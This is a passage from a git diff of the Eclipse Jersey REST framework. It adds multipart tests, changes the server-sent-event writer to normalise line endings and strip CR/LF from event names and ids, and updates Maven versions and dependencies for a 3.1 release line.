+        try (Response response = target("/postGeneric").request().post(entity)) {
+            List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+            assertEquals("data1", result.get(0).getContent(String.class));
+        }
+    }
+
+    @Test
+    public void postVariousTest() throws IOException {
+        List<EntityPart> list = new LinkedList<>();
+        list.add(EntityPart.withName("name1").content("Hello ").build());
+        list.add(EntityPart.withName("name2").content("world").build());
+        list.add(EntityPart.withName("name3").content("!").build());
+        GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {
+        };
+        Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+        try (Response response = target("/postFormVarious").request().post(entity)) {
+            List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+            assertEquals("Hello world!", result.get(0).getContent(String.class));
+        }
+    }
+
+    @Test
+    public void getListTest() throws IOException {
+        try (Response response = target("/getList").request().get()) {
+            List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+            assertEquals("data1", result.get(0).getContent(String.class));
+        }
+    }
+}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
index 4a7ff89..73790c0 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -36,7 +36,6 @@
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
-import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
 import org.glassfish.jersey.media.multipart.MultiPart;
 import org.glassfish.jersey.test.TestProperties;
 import org.glassfish.jersey.test.spi.TestHelper;
@@ -64,7 +63,7 @@
         return Arrays.asList(new Object[][] {
                 {new HttpUrlConnectorProvider(), false},
                 {new GrizzlyConnectorProvider(), true},
-                {new JettyConnectorProvider(), false},
+//                {new JettyConnectorProvider(), true},
                 {new ApacheConnectorProvider(), true},
         });
     }
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java
index c7487c9..d8e298d 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartJerseyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/media/multipart/src/test/resources/multipart/test-file1.txt b/media/multipart/src/test/resources/multipart/test-file1.txt
new file mode 100644
index 0000000..2ac045a
--- /dev/null
+++ b/media/multipart/src/test/resources/multipart/test-file1.txt
@@ -0,0 +1 @@
+This is a test file for file 1.
\ No newline at end of file
diff --git a/media/multipart/src/test/resources/multipart/test-file2.txt b/media/multipart/src/test/resources/multipart/test-file2.txt
new file mode 100644
index 0000000..ed72b76
--- /dev/null
+++ b/media/multipart/src/test/resources/multipart/test-file2.txt
@@ -0,0 +1 @@
+This is a test file for file 2.
\ No newline at end of file
diff --git a/media/pom.xml b/media/pom.xml
index adef754..754420e 100644
--- a/media/pom.xml
+++ b/media/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/media/sse/pom.xml b/media/sse/pom.xml
index f1627a8..bea92f4 100644
--- a/media/sse/pom.xml
+++ b/media/sse/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-sse</artifactId>
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java
index d2e7b85..12620b2 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/OutboundEventWriter.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,15 @@
 
 package org.glassfish.jersey.media.sse;
 
+import static java.nio.charset.StandardCharsets.UTF_8;
+
 import java.io.IOException;
 import java.io.OutputStream;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.nio.charset.Charset;
+import java.util.Objects;
+import java.util.regex.Pattern;
 
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Context;
@@ -43,15 +47,14 @@
  */
 class OutboundEventWriter implements MessageBodyWriter<OutboundSseEvent> {
 
-    private static final Charset UTF8 = Charset.forName("UTF-8");
-
     // encoding does not matter (lower ASCII characters)
-    private static final byte[] COMMENT_LEAD = ": ".getBytes(UTF8);
-    private static final byte[] NAME_LEAD = "event: ".getBytes(UTF8);
-    private static final byte[] ID_LEAD = "id: ".getBytes(UTF8);
-    private static final byte[] RETRY_LEAD = "retry: ".getBytes(UTF8);
-    private static final byte[] DATA_LEAD = "data: ".getBytes(UTF8);
+    private static final byte[] COMMENT_LEAD = ": ".getBytes(UTF_8);
+    private static final byte[] NAME_LEAD = "event: ".getBytes(UTF_8);
+    private static final byte[] ID_LEAD = "id: ".getBytes(UTF_8);
+    private static final byte[] RETRY_LEAD = "retry: ".getBytes(UTF_8);
+    private static final byte[] DATA_LEAD = "data: ".getBytes(UTF_8);
     private static final byte[] EOL = {'\n'};
+    private static final Pattern EOL_PATTERN = Pattern.compile("\r\n|\r|\n");
 
     private final Provider<MessageBodyWorkers> workersProvider;
 
@@ -87,7 +90,7 @@
 
         final Charset charset = MessageUtils.getCharset(mediaType);
         if (outboundEvent.getComment() != null) {
-            for (final String comment : outboundEvent.getComment().split("\n")) {
+            for (final String comment : EOL_PATTERN.split(outboundEvent.getComment())) {
                 entityStream.write(COMMENT_LEAD);
                 entityStream.write(comment.getBytes(charset));
                 entityStream.write(EOL);
@@ -97,12 +100,12 @@
         if (outboundEvent.getType() != null) {
             if (outboundEvent.getName() != null) {
                 entityStream.write(NAME_LEAD);
-                entityStream.write(outboundEvent.getName().getBytes(charset));
+                entityStream.write(outboundEvent.getName().replace("\r", "").replace("\n", "").getBytes(charset));
                 entityStream.write(EOL);
             }
             if (outboundEvent.getId() != null) {
                 entityStream.write(ID_LEAD);
-                entityStream.write(outboundEvent.getId().getBytes(charset));
+                entityStream.write(outboundEvent.getId().replace("\r", "").replace("\n", "").getBytes(charset));
                 entityStream.write(EOL);
             }
             if (outboundEvent.getReconnectDelay() > SseFeature.RECONNECT_NOT_SET) {
@@ -115,6 +118,7 @@
                     outboundEvent.getMediaType() == null ? MediaType.TEXT_PLAIN_TYPE : outboundEvent.getMediaType();
             final MessageBodyWriter messageBodyWriter = workersProvider.get().getMessageBodyWriter(outboundEvent.getType(),
                     outboundEvent.getGenericType(), annotations, eventMediaType);
+            final var dataLeadStream = new DataLeadStream(entityStream);
             messageBodyWriter.writeTo(
                     outboundEvent.getData(),
                     outboundEvent.getType(),
@@ -122,23 +126,74 @@
                     annotations,
                     eventMediaType,
                     httpHeaders,
-                    new OutputStream() {
-
-                        private boolean start = true;
-
-                        @Override
-                        public void write(final int i) throws IOException {
-                            if (start) {
-                                entityStream.write(DATA_LEAD);
-                                start = false;
-                            }
-                            entityStream.write(i);
-                            if (i == '\n') {
-                                entityStream.write(DATA_LEAD);
-                            }
-                        }
-                    });
+                    dataLeadStream);
+            dataLeadStream.finish();
             entityStream.write(EOL);
         }
     }
+
+    static final class DataLeadStream extends OutputStream {
+        private final OutputStream entityStream;
+
+        private int lastChar = -1;
+
+        DataLeadStream(final OutputStream entityStream) {
+            this.entityStream = entityStream;
+        }
+
+        @Override
+        public void write(final int i) throws IOException {
+            if (lastChar == -1) {
+                entityStream.write(DATA_LEAD);
+            } else if (lastChar != '\n' && lastChar != '\r') {
+                entityStream.write(lastChar);
+            } else if (lastChar == '\n' || lastChar == '\r' && i != '\n') {
+                entityStream.write(EOL);
+                entityStream.write(DATA_LEAD);
+            }
+
+            lastChar = i;
+        }
+
+        private static int indexOfEol(final byte[] b, final int fromIndex, final int toIndex) {
+            for (var i = fromIndex; i < toIndex; i++) {
+                if (b[i] == '\n' || b[i] == '\r') {
+                    return i;
+                }
+            }
+            return -1;
+        }
+
+        @Override
+        public void write(final byte[] b, final int off, final int len) throws IOException {
+            Objects.checkFromIndexSize(off, len, b.length);
+            if (len == 0) {
+                return;
+            }
+            write(b[off]);
+            if (len > 1) {
+                final var end = off + len - 1;
+                var i = off;
+                for (var j = indexOfEol(b, i, end); j != -1; j = indexOfEol(b, i, end)) {
+                    entityStream.write(b, i, j - i);
+                    entityStream.write(EOL);
+                    entityStream.write(DATA_LEAD);
+                    if (b[j] == '\r' && b[j + 1] == '\n') {
+                        j++;
+                    }
+                    i = ++j;
+                }
+                if (i < end) {
+                    entityStream.write(b, i, end - i);
+                }
+                lastChar = b[end];
+            }
+        }
+
+        void finish() throws IOException {
+            if (lastChar != -1) {
+                write(-1);
+            }
+        }
+    }
 }
diff --git a/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java b/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java
new file mode 100644
index 0000000..b27402c
--- /dev/null
+++ b/media/sse/src/test/java/org/glassfish/jersey/media/sse/DataLeadStreamTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (c) 2025 Markus KARG
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.sse;
+
+import java.io.ByteArrayOutputStream;
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Basic set of unit tests for {@link DataLeadStream}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ */
+public class DataLeadStreamTest {
+
+    @Test
+    public void shouldDetectEolOnWrite() throws Exception {
+        // given
+        final var outputStream = new ByteArrayOutputStream();
+        final var dataLeadStream = new OutboundEventWriter.DataLeadStream(outputStream);
+
+        // when
+        dataLeadStream.write('A');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('B');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('C');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('D');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('E');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('F');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('\r');
+        dataLeadStream.write('\n');
+        dataLeadStream.write('G');
+        dataLeadStream.write("H".getBytes(UTF_8));
+        dataLeadStream.write("IJ".getBytes(UTF_8));
+        dataLeadStream.write("KLM".getBytes(UTF_8));
+        dataLeadStream.write("N\rO\nP\r\nQ\n\nR\r\rS\r\n\r\nT".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("U".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("\nV".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("\rW".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("X".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("\nY".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("\rZ".getBytes(UTF_8));
+        dataLeadStream.write("a\r".getBytes(UTF_8));
+        dataLeadStream.write('b');
+        dataLeadStream.write("c\n".getBytes(UTF_8));
+        dataLeadStream.write('d');
+        dataLeadStream.write("e\r".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.write("f\n".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("g\r".getBytes(UTF_8));
+        dataLeadStream.write('\n');
+        dataLeadStream.write("h\n".getBytes(UTF_8));
+        dataLeadStream.write('\r');
+        dataLeadStream.finish();
+
+        // then
+        assertEquals(
+                "data: A\ndata: B\ndata: C\ndata: D\ndata: \ndata: E\ndata: \ndata: F\ndata: \ndata: G"
+              + "H"
+              + "IJ"
+              + "KLM"
+              + "N\ndata: O\ndata: P\ndata: Q\ndata: \ndata: R\ndata: \ndata: S\ndata: \ndata: T"
+              + "\ndata: U"
+              + "\ndata: V"
+              + "\ndata: \ndata: W"
+              + "\ndata: X"
+              + "\ndata: \ndata: Y"
+              + "\ndata: \ndata: Z"
+              + "a\ndata: b"
+              + "c\ndata: d"
+              + "e\ndata: \ndata: "
+              + "f\ndata: \ndata: "
+              + "g\ndata: "
+              + "h\ndata: \ndata: ",
+                outputStream.toString(UTF_8));
+    }
+}
diff --git a/pom.xml b/pom.xml
index bc1397e..d5a6861 100644
--- a/pom.xml
+++ b/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
     <groupId>org.glassfish.jersey</groupId>
     <artifactId>project</artifactId>
     <packaging>pom</packaging>
-    <version>3.0.99-SNAPSHOT</version>
+    <version>3.1.99-SNAPSHOT</version>
     <name>jersey</name>
     <description>
         Eclipse Jersey is the open source (under dual EPL+GPL license) Jakarta RESTful WebServices 3.0
@@ -325,9 +325,6 @@
                         </compilerArguments>
                         <showWarnings>false</showWarnings>
                         <fork>false</fork>
-                        <excludes>
-                            <exclude>module-info.java</exclude>
-                        </excludes>
                     </configuration>
                 </plugin>
                 <plugin>
@@ -728,13 +725,8 @@
                 </plugin>
                 <!-- TODO: remove the old jetty plugin dependencies -->
                 <plugin>
-                    <groupId>org.mortbay.jetty</groupId>
-                    <artifactId>jetty-maven-plugin</artifactId>
-                    <version>8.1.8.v20121106</version>
-                </plugin>
-                <plugin>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-maven-plugin</artifactId>
+                    <groupId>org.eclipse.jetty.ee10</groupId>
+                    <artifactId>jetty-ee10-maven-plugin</artifactId>
                     <version>${jetty.plugin.version}</version>
                 </plugin>
                 <plugin>
@@ -898,82 +890,6 @@
 
     <profiles>
         <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <checkstyle.version>9.3</checkstyle.version>
-                <istack.mvn.plugin.version>3.0.9</istack.mvn.plugin.version>
-                <hk2.version>3.0.3</hk2.version>
-            </properties>
-            <build>
-                <pluginManagement>
-                    <plugins>
-                        <plugin>
-                            <groupId>org.apache.maven.plugins</groupId>
-                            <artifactId>maven-compiler-plugin</artifactId>
-                            <inherited>true</inherited>
-                            <configuration>
-                                <source>${java.version}</source>
-                                <target>${java.version}</target>
-                                <excludes>
-                                    <exclude>module-info.java</exclude>
-                                </excludes>
-                            </configuration>
-                        </plugin>
-                    </plugins>
-                </pluginManagement>
-            </build>
-        </profile>
-        <profile>
-            <id>jdk11+</id>
-            <!--
-                JDK 9 & 10 is unsupported (as well as <release>9</release>)
-                module-info for java.xml.bind is taken from JDK (lib/ct.sym/9-modules)
-                and it depends on java.activation which clashes with javax.activation
-            -->
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <build>
-                <pluginManagement>
-                    <plugins>
-                        <plugin>
-                            <groupId>org.apache.maven.plugins</groupId>
-                            <artifactId>maven-compiler-plugin</artifactId>
-                            <inherited>true</inherited>
-                            <executions>
-                                <!-- when module.info
-                                                                <execution>
-                                                                    <id>default-compile</id>
-                                                                    <configuration>
-                                                                        compile everything to ensure module-info contains right entries
-                                                                        <release>11</release>
-                                                                    </configuration>
-                                                                </execution>
-                                -->
-                                <execution>
-                                    <id>base-compile</id>
-                                    <goals>
-                                        <goal>compile</goal>
-                                    </goals>
-                                    <!-- recompile everything for target VM except the module-info.java -->
-                                    <configuration>
-                                        <excludes>
-                                            <exclude>module-info.java</exclude>
-                                        </excludes>
-                                        <source>1.8</source>
-                                        <target>1.8</target>
-                                    </configuration>
-                                </execution>
-                            </executions>
-                        </plugin>
-                    </plugins>
-                </pluginManagement>
-            </build>
-        </profile>
-        <profile>
             <!-- Use it with release-perform goal to skip another test run. -->
             <id>testsSkip</id>
             <activation>
@@ -1565,10 +1481,15 @@
                 <artifactId>jakarta.activation-api</artifactId>
                 <version>${jakarta.activation-api.version}</version>
             </dependency>
+            <dependency>
+                <groupId>jakarta.servlet</groupId>
+                <artifactId>jakarta.servlet-api</artifactId>
+                <version>${servlet6.version}</version>
+            </dependency>
 
             <dependency>
-                <groupId>com.sun.activation</groupId>
-                <artifactId>jakarta.activation</artifactId>
+                <groupId>org.eclipse.angus</groupId>
+                <artifactId>angus-activation</artifactId>
                 <version>${jakarta.activation.version}</version>
             </dependency>
 
@@ -1691,12 +1612,12 @@
             </dependency>
             <dependency>
                 <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-client</artifactId>
+                <artifactId>jetty-http2-client</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
                 <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-http-client-transport</artifactId>
+                <artifactId>jetty-http2-client-transport</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
@@ -1706,12 +1627,12 @@
             </dependency>
             <dependency>
                 <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-webapp</artifactId>
+                <artifactId>jetty-security</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
                 <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-server</artifactId>
+                <artifactId>jetty-http2-server</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
@@ -1719,6 +1640,11 @@
                 <artifactId>jetty-alpn-conscrypt-server</artifactId>
                 <version>${jetty.version}</version>
             </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-webapp</artifactId>
+                <version>${jetty.version}</version>
+            </dependency>
 
             <dependency>
                 <groupId>org.simpleframework</groupId>
@@ -1879,8 +1805,8 @@
                 <version>${jakarta.el.version}</version>
             </dependency>
             <dependency>
-                <groupId>org.glassfish</groupId>
-                <artifactId>jakarta.el</artifactId>
+                <groupId>org.glassfish.expressly</groupId>
+                <artifactId>expressly</artifactId>
                 <version>${jakarta.el.impl.version}</version>
             </dependency>
 
@@ -2012,6 +1938,19 @@
                 <version>${testng.version}</version>
                 <scope>test</scope>
             </dependency>
+            <dependency>
+                <groupId>org.assertj</groupId>
+                <artifactId>assertj-core</artifactId>
+                <version>3.21.0</version>
+                <scope>test</scope>
+            </dependency>
+
+            <dependency>
+                <groupId>org.awaitility</groupId>
+                <artifactId>awaitility</artifactId>
+                <version>4.1.1</version>
+                <scope>test</scope>
+            </dependency>
 
             <dependency>
                 <groupId>org.hamcrest</groupId>
@@ -2115,9 +2054,9 @@
         <findbugs.glassfish.logging.validLoggerPrefixes>
             jakarta.enterprise
         </findbugs.glassfish.logging.validLoggerPrefixes>
-        <java.version>1.8</java.version>
-        <!--        <jersey.repackaged.prefix>jersey.repackaged</jersey.repackaged.prefix>-->
-        <!--        <netbeans.hint.license>gf-cddl-gpl</netbeans.hint.license>-->
+        <java.version>11</java.version>
+<!--        <jersey.repackaged.prefix>jersey.repackaged</jersey.repackaged.prefix>-->
+<!--        <netbeans.hint.license>gf-cddl-gpl</netbeans.hint.license>-->
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
         <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
         <!--        <release.tests.args>-Dmaven.test.skip=false</release.tests.args>-->
@@ -2197,7 +2136,6 @@
         <freemarker.version>2.3.33</freemarker.version>
         <gae.version>2.0.29</gae.version>
         <groovy.version>5.0.0-alpha-11</groovy.version>
-        <groovy.jdk8.version>4.0.24</groovy.jdk8.version>
         <gson.version>2.11.0</gson.version>
 
         <!--versions, extracted here due to maven-enforcer-plugin -->
@@ -2212,7 +2150,8 @@
 
         <!-- microprofile -->
         <microprofile.config.version>3.0.3</microprofile.config.version>
-        <microprofile.rest.client.version>3.0.1</microprofile.rest.client.version>
+        <microprofile.rest.client3.version>3.0.1</microprofile.rest.client3.version>
+        <microprofile.rest.client.version>4.0</microprofile.rest.client.version>
         <helidon.config.version>3.2.6</helidon.config.version>
         <helidon.connector.version>3.2.8</helidon.connector.version>
         <helidon.config.11.version>1.4.14</helidon.config.11.version> <!-- JDK 11- support -->
@@ -2221,25 +2160,19 @@
         <guava.version>33.3.0-jre</guava.version>
         <hamcrest.version>3.0</hamcrest.version>
         <xmlunit.version>2.10.0</xmlunit.version>
-        <hk2.osgi.version>org.glassfish.hk2.*;version="[2.5,4)"</hk2.osgi.version>
-        <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[2.5,4)"</hk2.jvnet.osgi.version>
         <httpclient.version>4.5.14</httpclient.version>
         <httpclient5.version>5.3.1</httpclient5.version>
         <jackson.version>2.18.0</jackson.version>
         <javassist.version>3.30.2-GA</javassist.version>
-        <jboss.logging.8.version>3.4.3.Final</jboss.logging.8.version>
-        <jersey1.version>1.19.3</jersey1.version>
-        <jersey1.last.final.version>${jersey1.version}</jersey1.last.final.version>
         <jettison.version>1.3.7</jettison.version> <!-- TODO: 1.3.8 doesn't work; AbstractJsonTest complexBeanWithAttributes -->
         <jboss.vfs.version>3.3.2.Final</jboss.vfs.version>
-        <jboss.vfs.jdk8.version>3.2.17.Final</jboss.vfs.jdk8.version>
         <jboss.logging.version>3.6.0.Final</jboss.logging.version>
         <jmh.version>1.37</jmh.version>
         <jmockit.version>1.49</jmockit.version>
         <junit4.version>4.13.2</junit4.version>
         <junit5.version>5.11.4</junit5.version>
-        <junit5.jdk8.version>5.10.3</junit5.jdk8.version>
         <junit-platform-suite.version>1.11.0</junit-platform-suite.version>
+        <junit-platform-suite.legacy.version>1.10.0</junit-platform-suite.legacy.version>
         <kryo.version>4.0.3</kryo.version>
         <mockito.version>4.11.0</mockito.version> <!-- CQ 17673 -->
         <mustache.version>0.9.14</mustache.version>
@@ -2254,6 +2187,10 @@
         <reactive.streams.version>1.0.4</reactive.streams.version>
         <rxjava.version>1.3.8</rxjava.version>
         <rxjava2.version>2.2.21</rxjava2.version>
+
+        <servlet4.version>4.0.3</servlet4.version>
+        <servlet6.version>6.0.0</servlet6.version>
+
         <simple.version>6.0.1</simple.version>
         <slf4j.version>2.0.16</slf4j.version>
         <spring6.version>6.0.18</spring6.version>
@@ -2261,59 +2198,59 @@
         <testng6.version>6.14.3</testng6.version>
         <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
         <!-- Jakartified, eligible for CQ -->
-        <weld.version>4.0.3.Final</weld.version>
+        <weld.version>5.1.1.Final</weld.version>
         <weld3.version>3.1.9.Final</weld3.version>
-        <validation.impl.version>7.0.5.Final</validation.impl.version>
+        <validation.impl.version>8.0.1.Final</validation.impl.version>
         <!-- END of Jakartified, eligible for CQ -->
-        <wiremock.version>3.5.2</wiremock.version>
+        <wiremock.jetty9.version>2.27.2</wiremock.jetty9.version>
+        <wiremock.jetty11.version>3.10.0</wiremock.jetty11.version>
         <xerces.version>2.12.2</xerces.version>
 
         <!-- Graal VM       -->
         <graalvm.version>20.3.15</graalvm.version>
 
         <!-- do not need CQs (below this line till the end of version properties)-->
-        <gf.impl.version>6.2.5</gf.impl.version>
-        <hk2.config.version>6.2.5</hk2.config.version>
+        <gf.impl.version>7.0.6</gf.impl.version>
         <!-- Jakartified -->
-        <cdi.api.version>3.0.0</cdi.api.version> <!-- 3.0.1 contains incompatible changes
-                                                    which fails microprofile TCK -->
+        <cdi.api.version>4.0.1</cdi.api.version>
         <cdi.osgi.version>jakarta.enterprise.*;version="[3.0,5)"</cdi.osgi.version>
         <ejb.version>4.0.1</ejb.version>
-        <grizzly2.version>3.0.1</grizzly2.version>
+        <grizzly2.version>4.0.2</grizzly2.version>
         <grizzly.client.version>1.16</grizzly.client.version>
         <grizzly.npn.version>2.0.0</grizzly.npn.version>
-        <hk2.version>3.0.6</hk2.version> <!-- 3.0.4 fails osgi tests, 3.0.5 is for JDK 11+ -->
-        <jsp.version>3.0.0</jsp.version>
-        <jstl.version>2.0.0</jstl.version>
+        <hk2.version>3.0.6</hk2.version>
+        <hk2.osgi.version>org.glassfish.hk2.*;version="[3.0,4)"</hk2.osgi.version>
+        <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[3.0,4)"</hk2.jvnet.osgi.version>
+        <hk2.config.version>7.0.4</hk2.config.version>
+        <jsp.version>3.1.1</jsp.version>
+        <jstl.version>3.0.2</jstl.version>
         <jta.api.version>2.0.1</jta.api.version>
-        <servlet5.version>5.0.0</servlet5.version>
-        <istack.commons.runtime.version>4.0.1</istack.commons.runtime.version>
-        <jakarta.activation-api.version>2.0.1</jakarta.activation-api.version>
-        <jakarta.activation.version>2.0.1</jakarta.activation.version>
-        <jakarta.el.version>4.0.0</jakarta.el.version>
-        <jakarta.el.impl.version>4.0.2</jakarta.el.impl.version>
+        <istack.commons.runtime.version>4.1.2</istack.commons.runtime.version>
+        <jakarta.activation-api.version>2.1.3</jakarta.activation-api.version>
+        <jakarta.activation.version>2.0.2</jakarta.activation.version>
+        <jakarta.el.version>5.0.1</jakarta.el.version>
+        <jakarta.el.impl.version>5.0.0</jakarta.el.impl.version>
         <jakarta.annotation.osgi.version>jakarta.annotation.*;version="[2.0,3)"</jakarta.annotation.osgi.version>
         <jakarta.annotation.version>2.1.1</jakarta.annotation.version>
         <jakarta.inject.version>2.0.1</jakarta.inject.version>
-        <jakarta.interceptor.version>2.0.1</jakarta.interceptor.version>
-        <jakarta.jsonp.version>2.0.2</jakarta.jsonp.version>
-        <jakarta.persistence.version>3.0.0</jakarta.persistence.version>
-        <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version> <!--Can't be updated to 3.0.1 /OSGi incompatibility with JDK 1.8 -->
-        <jakarta.jaxb.api.version>3.0.1</jakarta.jaxb.api.version>
-        <jaxb.ri.version>3.0.2</jaxb.ri.version>
-        <jaxrs.api.spec.version>3.0</jaxrs.api.spec.version>
-        <jaxrs.api.impl.version>3.0.0</jaxrs.api.impl.version>
+        <jakarta.interceptor.version>2.1.0</jakarta.interceptor.version>
+        <jakarta.jsonp.version>2.1.3</jakarta.jsonp.version>
+        <jakarta.persistence.version>3.1.0</jakarta.persistence.version>
+        <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version>
+        <jakarta.jaxb.api.version>4.0.2</jakarta.jaxb.api.version>
+        <jaxb.ri.version>4.0.5</jaxb.ri.version>
+        <jaxrs.api.spec.version>3.1</jaxrs.api.spec.version>
+        <jaxrs.api.impl.version>3.1.0</jaxrs.api.impl.version>
         <jetty.osgi.version>org.eclipse.jetty.*;version="[11,15)"</jetty.osgi.version>
-        <jetty.version>11.0.24</jetty.version>
-        <jetty.tracing.version>11.0.15</jetty.tracing.version> <!-- special version for tracing support tests, applied before JDK 21-->
-        <jetty9.version>9.4.55.v20240627</jetty9.version>
-        <jetty.plugin.version>11.0.24</jetty.plugin.version>
-        <jetty.servlet.api.25.version>6.1.14</jetty.servlet.api.25.version>
